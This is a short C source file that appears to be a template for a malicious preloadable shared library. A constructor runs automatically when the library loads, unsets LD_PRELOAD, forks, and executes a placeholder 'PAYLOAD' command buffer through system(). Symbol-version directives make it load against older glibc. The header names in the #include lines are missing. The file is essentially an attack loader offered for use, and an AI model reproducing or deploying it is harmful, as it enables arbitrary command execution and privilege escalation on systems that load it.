#include #include #include #include #include #include #include #ifdef OLD_LIB_SET_1 __asm__(".symver system,system@GLIBC_2.0"); __asm__(".symver fork,fork@GLIBC_2.0"); #endif #ifdef OLD_LIB_SET_2 __asm__(".symver system,system@GLIBC_2.2.5"); __asm__(".symver fork,fork@GLIBC_2.2.5"); #endif #define PAYLOAD_SIZE 5000 unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0}; static void _run_payload_(void) __attribute__((constructor)); static void _run_payload_(void) { int dummy = 0; unsetenv("LD_PRELOAD"); if (! fork()) dummy = system((const char*)payload); exit(dummy); }